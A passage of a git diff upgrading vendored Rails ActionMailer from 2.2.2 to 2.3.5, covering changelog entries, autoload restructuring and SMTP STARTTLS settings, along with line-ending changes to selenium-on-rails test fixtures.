+<html>
+	<head>
+		<title>Test case with own layout</title>
+		<style type="text/css"> body { background-color: #ccc; } </style>
+	</head>
+	<body>
+		<table>
+			<tr><th colspan="3">Test own layout</th></tr>
+			<tr><td>open</td><td>/selenium/setup</td><td>&nbsp;</td></tr>
+		</table>
+	</body>
+</html>
diff --git a/vendor/plugins/selenium-on-rails/test_data/partials/_html.html b/vendor/plugins/selenium-on-rails/test_data/partials/_html.html
index 34e6d718..916ca4f7 100644
--- a/vendor/plugins/selenium-on-rails/test_data/partials/_html.html
+++ b/vendor/plugins/selenium-on-rails/test_data/partials/_html.html
@@ -1,6 +1,6 @@
-<h1>This should never be visible!</h1>
-<table>
-	<tr><th colspan="3">HTML partial</th></tr>
-	<tr><td>type</td><td>partial</td><td>HTML partial</td></tr>
-</table>
+<h1>This should never be visible!</h1>
+<table>
+	<tr><th colspan="3">HTML partial</th></tr>
+	<tr><td>type</td><td>partial</td><td>HTML partial</td></tr>
+</table>
 <p>Neither should this!</p>
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test_data/partials/_nesting.rsel b/vendor/plugins/selenium-on-rails/test_data/partials/_nesting.rsel
index 65150cb6..28e7bf91 100644
--- a/vendor/plugins/selenium-on-rails/test_data/partials/_nesting.rsel
+++ b/vendor/plugins/selenium-on-rails/test_data/partials/_nesting.rsel
@@ -1,2 +1,2 @@
-type 'nesting', 'Nesting partial'
+type 'nesting', 'Nesting partial'
 include_partial 'partials/rsel', :hello => hello.reverse
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test_data/partials/_rhtml.rhtml b/vendor/plugins/selenium-on-rails/test_data/partials/_rhtml.rhtml
index b7045860..af6599de 100644
--- a/vendor/plugins/selenium-on-rails/test_data/partials/_rhtml.rhtml
+++ b/vendor/plugins/selenium-on-rails/test_data/partials/_rhtml.rhtml
@@ -1,6 +1,6 @@
-<h1>This should never be visible!</h1>
-<table>
-	<tr><th colspan="3">RHTML partial</th></tr>
-	<tr><td>type</td><td><%= hello %></td><td>RHTML partial</td></tr>
-</table>
+<h1>This should never be visible!</h1>
+<table>
+	<tr><th colspan="3">RHTML partial</th></tr>
+	<tr><td>type</td><td><%= hello %></td><td>RHTML partial</td></tr>
+</table>
 <p>Neither should this!</p>
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test_data/partials/_rsel.rsel b/vendor/plugins/selenium-on-rails/test_data/partials/_rsel.rsel
index 456323e9..0ce0e9fe 100644
--- a/vendor/plugins/selenium-on-rails/test_data/partials/_rsel.rsel
+++ b/vendor/plugins/selenium-on-rails/test_data/partials/_rsel.rsel
@@ -1 +1 @@
-type hello, 'RSelenese partial'
+type hello, 'RSelenese partial'
diff --git a/vendor/plugins/selenium-on-rails/test_data/partials/_sel.sel b/vendor/plugins/selenium-on-rails/test_data/partials/_sel.sel
index f0339fa5..353f0f26 100644
--- a/vendor/plugins/selenium-on-rails/test_data/partials/_sel.sel
+++ b/vendor/plugins/selenium-on-rails/test_data/partials/_sel.sel
@@ -1,5 +1,5 @@
-h1. This should not be visible!
-
-|type|partial|Selenese partial|
-
+h1. This should not be visible!
+
+|type|partial|Selenese partial|
+
 p. Neither should this!
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test_data/partials/all_partials.rsel b/vendor/plugins/selenium-on-rails/test_data/partials/all_partials.rsel
index b4b7aa41..08c0faf5 100644
--- a/vendor/plugins/selenium-on-rails/test_data/partials/all_partials.rsel
+++ b/vendor/plugins/selenium-on-rails/test_data/partials/all_partials.rsel
@@ -1,5 +1,5 @@
-include_partial 'partial', :source => title
-['html', 'rhtml',  'sel', 'rsel'].each do |format|
-  include_partial "partials/#{format}", :hello => 'world'
-end
+include_partial 'partial', :source => title
+['html', 'rhtml',  'sel', 'rsel'].each do |format|
+  include_partial "partials/#{format}", :hello => 'world'
+end
 include_partial 'partials/nesting', :hello => 'world'
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test_data/rhtml.rhtml b/vendor/plugins/selenium-on-rails/test_data/rhtml.rhtml
index e8e72ebb..2ae4e413 100644
--- a/vendor/plugins/selenium-on-rails/test_data/rhtml.rhtml
+++ b/vendor/plugins/selenium-on-rails/test_data/rhtml.rhtml
@@ -1,7 +1,7 @@
-<table>
-  <tr><th colspan="3"><%= @page_title %></th></tr>
-<% for page in ['/fi', '/fo', '/fum'] -%>
-  <tr><td>open</td><td><%= page %></td><td>&nbsp;</td></tr>
-<% end -%>
-  <%= render :partial => 'partial', :locals => {:source => 'RHTML'} %>
+<table>
+  <tr><th colspan="3"><%= @page_title %></th></tr>
+<% for page in ['/fi', '/fo', '/fum'] -%>
+  <tr><td>open</td><td><%= page %></td><td>&nbsp;</td></tr>
+<% end -%>
+  <%= render :partial => 'partial', :locals => {:source => 'RHTML'} %>
 </table>
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test_data/rselenese.rsel b/vendor/plugins/selenium-on-rails/test_data/rselenese.rsel
index f73ac4b2..425d75e6 100644
--- a/vendor/plugins/selenium-on-rails/test_data/rselenese.rsel
+++ b/vendor/plugins/selenium-on-rails/test_data/rselenese.rsel
@@ -1,8 +1,8 @@
-setup
-setup :keep_session
-test.setup :fixtures => :all
-setup :fixtures => [:foo, 'bar']
-setup :clear_tables => [:foo, :bar], :fixtures => :all
-assert_absolute_location :controller => 'selenium', :action => 'setup' #urls must be tested with a controller
-assert_title view.controller.controller_name #make sure we can access the view easily
-include_partial 'partial', :source => 'RSelenese'
+setup
+setup :keep_session
+test.setup :fixtures => :all
+setup :fixtures => [:foo, 'bar']
+setup :clear_tables => [:foo, :bar], :fixtures => :all
+assert_absolute_location :controller => 'selenium', :action => 'setup' #urls must be tested with a controller
+assert_title @view.controller.controller_name #make sure we can access the view easily
+include_partial 'partial', :source => 'RSelenese'
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test_data/selenese.sel b/vendor/plugins/selenium-on-rails/test_data/selenese.sel
index 9daa0e14..46b1dce9 100644
--- a/vendor/plugins/selenium-on-rails/test_data/selenese.sel
+++ b/vendor/plugins/selenium-on-rails/test_data/selenese.sel
@@ -1,7 +1,7 @@
-Selenese *support*
-
-|open|/selenium/setup|
-|goBack|
-|includePartial|partial|source=Selenese|
-  
+Selenese *support*
+
+|open|/selenium/setup|
+|goBack|
+|includePartial|partial|source=Selenese|
+  
 works.
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/CHANGELOG b/vendor/rails/actionmailer/CHANGELOG
index de5aeab0..9f1a7ca8 100644
--- a/vendor/rails/actionmailer/CHANGELOG
+++ b/vendor/rails/actionmailer/CHANGELOG
@@ -1,3 +1,24 @@
+*2.3.5 (November 25, 2009)*
+
+* Minor Bug Fixes and deprecation warnings
+
+*2.3.4 (September 4, 2009)*
+
+* Minor bug fixes.
+
+*2.3.3 (July 12, 2009)*
+
+* No changes, just a version bump.
+
+*2.3.2 [Final] (March 15, 2009)*
+
+* Fixed that ActionMailer should send correctly formatted Return-Path in MAIL FROM for SMTP #1842 [Matt Jones]
+
+* Fixed RFC-2045 quoted-printable bug #1421 [squadette]
+
+* Fixed that no body charset would be set when there are attachments present #740 [Paweł Kondzior]
+
+
 *2.2.1 [RC2] (November 14th, 2008)*
 
 * Turn on STARTTLS if it is available in Net::SMTP (added in Ruby 1.8.7) and the SMTP server supports it (This is required for Gmail's SMTP server) #1336 [Grant Hollingworth]
@@ -5,7 +26,7 @@
 
 *2.2.0 [RC1] (October 24th, 2008)*
 
-* Add layout functionality to mailers [Pratik]
+* Add layout functionality to mailers [Pratik Naik]
 
   Mailer layouts behaves just like controller layouts, except layout names need to
   have '_mailer' postfix for them to be automatically picked up.
@@ -17,7 +38,7 @@
 
 * Less verbose mail logging: just recipients for :info log level; the whole email for :debug only.  #8000 [iaddict, Tarmo Tänav]
 
-* Updated TMail to version 1.2.1 [raasdnil]
+* Updated TMail to version 1.2.1 [Mikel Lindsaar]
 
 * Fixed that you don't have to call super in ActionMailer::TestCase#setup #10406 [jamesgolick]
 
@@ -29,7 +50,7 @@
 
 *2.0.1* (December 7th, 2007)
 
-* Update ActionMailer so it treats ActionView the same way that ActionController does.  Closes #10244 [rick]
+* Update ActionMailer so it treats ActionView the same way that ActionController does.  Closes #10244 [Rick Olson]
 
   * Pass the template_root as an array as ActionView's view_path
   * Request templates with the "#{mailer_name}/#{action}" as opposed to just "#{action}"
@@ -38,11 +59,11 @@
 
 * Update README to use new smtp settings configuration API. Closes #10060 [psq]
 
-* Allow ActionMailer subclasses to individually set their delivery method (so two subclasses can have different delivery methods) #10033 [zdennis]
+* Allow ActionMailer subclasses to individually set their delivery method (so two subclasses can have different delivery methods) #10033 [Zach Dennis]
 
-* Update TMail to v1.1.0.  Use an updated version of TMail if available.  [mikel]
+* Update TMail to v1.1.0.  Use an updated version of TMail if available.  [Mikel Lindsaar]
 
-* Introduce a new base test class for testing Mailers.  ActionMailer::TestCase [Koz]
+* Introduce a new base test class for testing Mailers.  ActionMailer::TestCase [Michael Koziarski]
 
 * Fix silent failure of rxml templates.  #9879 [jstewart]
 
@@ -77,7 +98,7 @@
 
 *1.3.2* (February 5th, 2007)
 
-* Deprecate server_settings renaming it to smtp_settings,  add sendmail_settings to allow you to override the arguments to and location of the sendmail executable. [Koz]
+* Deprecate server_settings renaming it to smtp_settings,  add sendmail_settings to allow you to override the arguments to and location of the sendmail executable. [Michael Koziarski]
 
 
 *1.3.1* (January 16th, 2007)
@@ -97,7 +118,7 @@
 
 * Tighten rescue clauses.  #5985 [james@grayproductions.net]
 
-* Automatically included ActionController::UrlWriter, such that URL generation can happen within ActionMailer controllers. [DHH]
+* Automatically included ActionController::UrlWriter, such that URL generation can happen within ActionMailer controllers. [David Heinemeier Hansson]
 
 * Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
 
diff --git a/vendor/rails/actionmailer/MIT-LICENSE b/vendor/rails/actionmailer/MIT-LICENSE
index 13c90d46..e7accc5e 100644
--- a/vendor/rails/actionmailer/MIT-LICENSE
+++ b/vendor/rails/actionmailer/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2008 David Heinemeier Hansson
+Copyright (c) 2004-2009 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/vendor/rails/actionmailer/Rakefile b/vendor/rails/actionmailer/Rakefile
index 572766ea..2d099a9a 100644
--- a/vendor/rails/actionmailer/Rakefile
+++ b/vendor/rails/actionmailer/Rakefile
@@ -4,7 +4,6 @@ require 'rake/testtask'
 require 'rake/rdoctask'
 require 'rake/packagetask'
 require 'rake/gempackagetask'
-require 'rake/contrib/sshpublisher'
 require File.join(File.dirname(__FILE__), 'lib', 'action_mailer', 'version')
 
 PKG_BUILD     = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
@@ -55,7 +54,7 @@ spec = Gem::Specification.new do |s|
   s.rubyforge_project = "actionmailer"
   s.homepage = "http://www.rubyonrails.org"
 
-  s.add_dependency('actionpack', '= 2.2.2' + PKG_BUILD)
+  s.add_dependency('actionpack', '= 2.3.5' + PKG_BUILD)
 
   s.has_rdoc = true
   s.requirements << 'none'
@@ -76,12 +75,14 @@ end
 
 desc "Publish the API documentation"
 task :pgem => [:package] do 
+  require 'rake/contrib/sshpublisher'
   Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
   `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
 end
 
 desc "Publish the API documentation"
 task :pdoc => [:rdoc] do 
+  require 'rake/contrib/sshpublisher'
   Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/am", "doc").upload
 end
 
diff --git a/vendor/rails/actionmailer/lib/action_mailer.rb b/vendor/rails/actionmailer/lib/action_mailer.rb
index 2a9210de..02c536c8 100644
--- a/vendor/rails/actionmailer/lib/action_mailer.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2008 David Heinemeier Hansson
+# Copyright (c) 2004-2009 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -31,22 +31,32 @@ rescue LoadError
   end
 end
 
-require 'action_mailer/vendor'
-require 'tmail'
+require 'action_view'
 
-require 'action_mailer/base'
-require 'action_mailer/helpers'
-require 'action_mailer/mail_helper'
-require 'action_mailer/quoting'
-require 'action_mailer/test_helper'
+module ActionMailer
+  def self.load_all!
+    [Base, Part, ::Text::Format, ::Net::SMTP]
+  end
 
-require 'net/smtp'
-
-ActionMailer::Base.class_eval do
-  include ActionMailer::Quoting
-  include ActionMailer::Helpers
-
-  helper MailHelper
+  autoload :AdvAttrAccessor, 'action_mailer/adv_attr_accessor'
+  autoload :Base, 'action_mailer/base'
+  autoload :Helpers, 'action_mailer/helpers'
+  autoload :Part, 'action_mailer/part'
+  autoload :PartContainer, 'action_mailer/part_container'
+  autoload :Quoting, 'action_mailer/quoting'
+  autoload :TestCase, 'action_mailer/test_case'
+  autoload :TestHelper, 'action_mailer/test_helper'
+  autoload :Utils, 'action_mailer/utils'
 end
 
-silence_warnings { TMail::Encoder.const_set("MAX_LINE_LEN", 200) }
+module Text
+  autoload :Format, 'action_mailer/vendor/text_format'
+end
+
+module Net
+  autoload :SMTP, 'net/smtp'
+end
+
+autoload :MailHelper, 'action_mailer/mail_helper'
+
+require 'action_mailer/vendor/tmail'
diff --git a/vendor/rails/actionmailer/lib/action_mailer/base.rb b/vendor/rails/actionmailer/lib/action_mailer/base.rb
index 19ce77ea..84997de3 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/base.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/base.rb
@@ -1,9 +1,3 @@
-require 'action_mailer/adv_attr_accessor'
-require 'action_mailer/part'
-require 'action_mailer/part_container'
-require 'action_mailer/utils'
-require 'tmail/net'
-
 module ActionMailer #:nodoc:
   # Action Mailer allows you to send email from your application using a mailer model and views.
   #
@@ -23,6 +17,7 @@ module ActionMailer #:nodoc:
   #  class Notifier < ActionMailer::Base
   #    def signup_notification(recipient)
   #      recipients recipient.email_address_with_name
+  #      bcc        ["bcc@example.com", "Order Watcher <watcher@example.com>"]
   #      from       "system@example.com"
   #      subject    "New account information"
   #      body       :account => recipient
@@ -218,6 +213,8 @@ module ActionMailer #:nodoc:
   #   * <tt>:password</tt> - If your mail server requires authentication, set the password in this setting.
   #   * <tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here.
   #     This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.
+  #   * <tt>:enable_starttls_auto</tt> - When set to true, detects if STARTTLS is enabled in your SMTP server and starts to use it.
+  #     It works only on Ruby >= 1.8.7 and Ruby >= 1.9. Default is true.
   #
   # * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
   #   * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
@@ -235,17 +232,20 @@ module ActionMailer #:nodoc:
   #
   # * <tt>default_charset</tt> - The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also
   #   pick a different charset from inside a method with +charset+.
+  #
   # * <tt>default_content_type</tt> - The default content type used for the main part of the message. Defaults to "text/plain". You
   #   can also pick a different content type from inside a method with +content_type+.
+  #
   # * <tt>default_mime_version</tt> - The default mime version used for the message. Defaults to <tt>1.0</tt>. You
   #   can also pick a different value from inside a method with +mime_version+.
+  #
   # * <tt>default_implicit_parts_order</tt> - When a message is built implicitly (i.e. multiple parts are assembled from templates
   #   which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to
   #   <tt>["text/html", "text/enriched", "text/plain"]</tt>. Items that appear first in the array have higher priority in the mail client
   #   and appear last in the mime encoded message. You can also pick a different order from inside a method with
   #   +implicit_parts_order+.
   class Base
-    include AdvAttrAccessor, PartContainer
+    include AdvAttrAccessor, PartContainer, Quoting, Utils
     if Object.const_defined?(:ActionController)
       include ActionController::UrlWriter
       include ActionController::Layout
@@ -254,15 +254,18 @@ module ActionMailer #:nodoc:
     private_class_method :new #:nodoc:
 
     class_inheritable_accessor :view_paths
+    self.view_paths = []
+
     cattr_accessor :logger
 
     @@smtp_settings = {
-      :address        => "localhost",
-      :port           => 25,
-      :domain         => 'localhost.localdomain',
-      :user_name      => nil,
-      :password       => nil,
-      :authentication => nil
+      :address              => "localhost",
+      :port                 => 25,
+      :domain               => 'localhost.localdomain',
+      :user_name            => nil,
+      :password             => nil,
+      :authentication       => nil,
+      :enable_starttls_auto => true,
     }
     cattr_accessor :smtp_settings
 
@@ -426,12 +429,6 @@ module ActionMailer #:nodoc:
         new.deliver!(mail)
       end
 
-      def register_template_extension(extension)
-        ActiveSupport::Deprecation.warn(
-          "ActionMailer::Base.register_template_extension has been deprecated." +
-          "Use ActionView::Base.register_template_extension instead", caller)
-      end
-
       def template_root
         self.view_paths && self.view_paths.first
       end
@@ -482,7 +479,7 @@ module ActionMailer #:nodoc:
             )
           end
           unless @parts.empty?
-            @content_type = "multipart/alternative"
+            @content_type = "multipart/alternative" if @content_type !~ /^multipart/
             @parts = sort_parts(@parts, @implicit_parts_order)
           end
         end
@@ -546,10 +543,16 @@ module ActionMailer #:nodoc:
         @headers ||= {}
         @body ||= {}
         @mime_version = @@default_mime_version.dup if @@default_mime_version
+        @sent_on ||= Time.now
       end
 
       def render_message(method_name, body)
+        if method_name.respond_to?(:content_type)
+          @current_template_content_type = method_name.content_type
+        end
         render :file => method_name, :body => body
+      ensure
+        @current_template_content_type = nil
       end
 
       def render(opts)
@@ -568,11 +571,17 @@ module ActionMailer #:nodoc:
       end
 
       def default_template_format
-        :html
+        if @current_template_content_type
+          Mime::Type.lookup(@current_template_content_type).to_sym
+        else
+          :html
+        end
       end
 
       def candidate_for_layout?(options)
-        !@template.send(:_exempt_from_layout?, default_template_name)
+        !self.view_paths.find_template(default_template_name, default_template_format).exempt_from_layout?
+      rescue ActionView::MissingTemplate
+        return true
       end
 
       def template_root
@@ -588,7 +597,9 @@ module ActionMailer #:nodoc:
       end
 
       def initialize_template_class(assigns)
-        ActionView::Base.new(view_paths, assigns, self)
+        template = ActionView::Base.new(self.class.view_paths, assigns, self)
+        template.template_format = default_template_format
+        template
       end
 
       def sort_parts(parts, order = [])
@@ -637,11 +648,11 @@ module ActionMailer #:nodoc:
 
         if @parts.empty?
           m.set_content_type(real_content_type, nil, ctype_attrs)
-          m.body = Utils.normalize_new_lines(body)
+          m.body = normalize_new_lines(body)
         else
           if String === body
             part = TMail::Mail.new
-            part.body = Utils.normalize_new_lines(body)
+            part.body = normalize_new_lines(body)
             part.set_content_type(real_content_type, nil, ctype_attrs)
             part.set_content_disposition "inline"
             m.parts << part
@@ -664,10 +675,10 @@ module ActionMailer #:nodoc:
       def perform_delivery_smtp(mail)
         destinations = mail.destinations
         mail.ready_to_send
-        sender = mail['return-path'] || mail.from
+        sender = (mail['return-path'] && mail['return-path'].spec) || mail['from']
 
         smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port])
-        smtp.enable_starttls_auto if smtp.respond_to?(:enable_starttls_auto)
+        smtp.enable_starttls_auto if smtp_settings[:enable_starttls_auto] && smtp.respond_to?(:enable_starttls_auto)
         smtp.start(smtp_settings[:domain], smtp_settings[:user_name], smtp_settings[:password],
                    smtp_settings[:authentication]) do |smtp|
           smtp.sendmail(mail.encoded, sender, destinations)
@@ -687,4 +698,9 @@ module ActionMailer #:nodoc:
         deliveries << mail
       end
   end
+
+  Base.class_eval do
+    include Helpers
+    helper MailHelper
+  end
 end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/helpers.rb b/vendor/rails/actionmailer/lib/action_mailer/helpers.rb
index 5f6dcd77..31f7de8d 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/helpers.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/helpers.rb
@@ -1,3 +1,5 @@
+require 'active_support/dependencies'
+
 module ActionMailer
   module Helpers #:nodoc:
     def self.included(base) #:nodoc:
diff --git a/vendor/rails/actionmailer/lib/action_mailer/mail_helper.rb b/vendor/rails/actionmailer/lib/action_mailer/mail_helper.rb
index 11fd7d77..351b966a 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/mail_helper.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/mail_helper.rb
@@ -1,5 +1,3 @@
-require 'text/format'
-
 module MailHelper
   # Uses Text::Format to take the text and format it, indented two spaces for
   # each line, and wrapped at 72 columns.
diff --git a/vendor/rails/actionmailer/lib/action_mailer/part.rb b/vendor/rails/actionmailer/lib/action_mailer/part.rb
index 2dabf15f..2bbb59cd 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/part.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/part.rb
@@ -1,15 +1,10 @@
-require 'action_mailer/adv_attr_accessor'
-require 'action_mailer/part_container'
-require 'action_mailer/utils'
-
 module ActionMailer
   # Represents a subpart of an email message. It shares many similar
   # attributes of ActionMailer::Base.  Although you can create parts manually
   # and add them to the +parts+ list of the mailer, it is easier
   # to use the helper methods in ActionMailer::PartContainer.
   class Part
-    include ActionMailer::AdvAttrAccessor
-    include ActionMailer::PartContainer
+    include AdvAttrAccessor, PartContainer, Utils
 
     # Represents the body of the part, as a string. This should not be a
     # Hash (like ActionMailer::Base), but if you want a template to be rendered
@@ -64,7 +59,7 @@ module ActionMailer
           when "base64" then
             part.body = TMail::Base64.folding_encode(body)
           when "quoted-printable"
-            part.body = [Utils.normalize_new_lines(body)].pack("M*")
+            part.body = [normalize_new_lines(body)].pack("M*")
           else
             part.body = body
         end
@@ -93,7 +88,10 @@ module ActionMailer
           part.parts << prt
         end
         
-        part.set_content_type(real_content_type, nil, ctype_attrs) if real_content_type =~ /multipart/
+        if real_content_type =~ /multipart/
+          ctype_attrs.delete 'charset'
+          part.set_content_type(real_content_type, nil, ctype_attrs)
+        end
       end
 
       headers.each { |k,v| part[k] = v }
@@ -102,7 +100,6 @@ module ActionMailer
     end
 
     private
-
       def squish(values={})
         values.delete_if { |k,v| v.nil? }
       end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/part_container.rb b/vendor/rails/actionmailer/lib/action_mailer/part_container.rb
index 3e3d6b9d..abfd8f84 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/part_container.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/part_container.rb
@@ -41,7 +41,11 @@ module ActionMailer
     private
     
       def parse_content_type(defaults=nil)
-        return [defaults && defaults.content_type, {}] if content_type.blank?
+        if content_type.blank? 
+          return defaults                                                ? 
+            [ defaults.content_type, { 'charset' => defaults.charset } ] : 
+            [ nil, {} ] 
+        end 
         ctype, *attrs = content_type.split(/;\s*/)
         attrs = attrs.inject({}) { |h,s| k,v = s.split(/=/, 2); h[k] = v; h }
         [ctype, {"charset" => charset || defaults && defaults.charset}.merge(attrs)]
diff --git a/vendor/rails/actionmailer/lib/action_mailer/quoting.rb b/vendor/rails/actionmailer/lib/action_mailer/quoting.rb
index a2f2c707..94fa0420 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/quoting.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/quoting.rb
@@ -12,7 +12,7 @@ module ActionMailer
     # account multi-byte characters (if executing with $KCODE="u", for instance)
     def quoted_printable_encode(character)
       result = ""
-      character.each_byte { |b| result << "=%02x" % b }
+      character.each_byte { |b| result << "=%02X" % b }
       result
     end
 
diff --git a/vendor/rails/actionmailer/lib/action_mailer/test_case.rb b/vendor/rails/actionmailer/lib/action_mailer/test_case.rb
index d474afe3..8035db6f 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/test_case.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/test_case.rb
@@ -10,7 +10,7 @@ module ActionMailer
   end
 
   class TestCase < ActiveSupport::TestCase
-    include ActionMailer::Quoting
+    include Quoting, TestHelper
 
     setup :initialize_test_deliveries
     setup :set_expected_mail
diff --git a/vendor/rails/actionmailer/lib/action_mailer/test_helper.rb b/vendor/rails/actionmailer/lib/action_mailer/test_helper.rb
index 3a161244..f234c024 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/test_helper.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/test_helper.rb
@@ -58,6 +58,7 @@ module ActionMailer
   end
 end
 
+# TODO: Deprecate this
 module Test
   module Unit
     class TestCase
diff --git a/vendor/rails/actionmailer/lib/action_mailer/utils.rb b/vendor/rails/actionmailer/lib/action_mailer/utils.rb
index 552f695a..26d2e60a 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/utils.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/utils.rb
@@ -3,6 +3,5 @@ module ActionMailer
     def normalize_new_lines(text)
       text.to_s.gsub(/\r\n?/, "\n")
     end
-    module_function :normalize_new_lines
   end
 end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor.rb
deleted file mode 100644
index 7a20e9bd..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# Prefer gems to the bundled libs.
-require 'rubygems'
-
-begin
-  gem 'tmail', '~> 1.2.3'
-rescue Gem::LoadError
-  $:.unshift "#{File.dirname(__FILE__)}/vendor/tmail-1.2.3"
-end
-
-begin
-  gem 'text-format', '>= 0.6.3'
-rescue Gem::LoadError
-  $:.unshift "#{File.dirname(__FILE__)}/vendor/text-format-0.6.3"
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb
index de054db8..2d20c7a6 100755
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb
@@ -1150,7 +1150,7 @@ if __FILE__ == $0
       assert_equal(Text::Format::JUSTIFY, @format_o.format_style)
       assert_match(/^of freedom, and that government of the people, by the  people,  for  the$/,
                    @format_o.format(GETTYSBURG).split("\n")[-3])
-      assert_raises(ArgumentError) { @format_o.format_style = 33 }
+      assert_raise(ArgumentError) { @format_o.format_style = 33 }
     end
 
     def test_tag_paragraph
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/text_format.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/text_format.rb
new file mode 100644
index 00000000..c6c8c394
--- /dev/null
+++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/text_format.rb
@@ -0,0 +1,10 @@
+# Prefer gems to the bundled libs.
+require 'rubygems'
+
+begin
+  gem 'text-format', '>= 0.6.3'
+rescue Gem::LoadError
+  $:.unshift "#{File.dirname(__FILE__)}/text-format-0.6.3"
+end
+
+require 'text/format'
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/parser.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/parser.rb
index ab1a8284..0ddc5252 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/parser.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/parser.rb
@@ -43,6 +43,7 @@ module Racc
 
   class Parser
 
+    old_verbose, $VERBOSE = $VERBOSE, nil
     Racc_Runtime_Version = '1.4.5'
     Racc_Runtime_Revision = '$Revision: 1.7 $'.split[1]
 
@@ -71,6 +72,7 @@ module Racc
       Racc_Runtime_Core_Revision   = Racc_Runtime_Core_Revision_R
       Racc_Runtime_Type            = 'ruby'
     end
+    $VERBOSE = old_verbose
 
     def Parser.racc_runtime_type
       Racc_Runtime_Type
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb
new file mode 100644
index 00000000..51d36cdd
--- /dev/null
+++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb
@@ -0,0 +1,17 @@
+# Prefer gems to the bundled libs.
+require 'rubygems'
+
+begin
+  gem 'tmail', '~> 1.2.3'
+rescue Gem::LoadError
+  $:.unshift "#{File.dirname(__FILE__)}/tmail-1.2.3"
+end
+
+module TMail
+end
+
+require 'tmail'
+
+silence_warnings do
+  TMail::Encoder.const_set("MAX_LINE_LEN", 200)
+end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/version.rb b/vendor/rails/actionmailer/lib/action_mailer/version.rb
index 52659515..a4289055 100644
--- a/vendor/rails/actionmailer/lib/action_mailer/version.rb
+++ b/vendor/rails/actionmailer/lib/action_mailer/version.rb
@@ -1,8 +1,8 @@
 module ActionMailer
   module VERSION #:nodoc:
     MAJOR = 2
-    MINOR = 2
-    TINY  = 2
+    MINOR = 3
+    TINY  = 5
 
     STRING = [MAJOR, MINOR, TINY].join('.')
   end
diff --git a/vendor/rails/actionmailer/lib/actionmailer.rb b/vendor/rails/actionmailer/lib/actionmailer.rb
index 50641629..878607ea 100644
--- a/vendor/rails/actionmailer/lib/actionmailer.rb
+++ b/vendor/rails/actionmailer/lib/actionmailer.rb
@@ -1 +1,2 @@
 require 'action_mailer'
+ActiveSupport::Deprecation.warn 'require "actionmailer" is deprecated and will be removed in Rails 3. Use require "action_mailer" instead.'
diff --git a/vendor/rails/actionmailer/test/abstract_unit.rb b/vendor/rails/actionmailer/test/abstract_unit.rb
index 1617b88c..9728ae5b 100644
--- a/vendor/rails/actionmailer/test/abstract_unit.rb
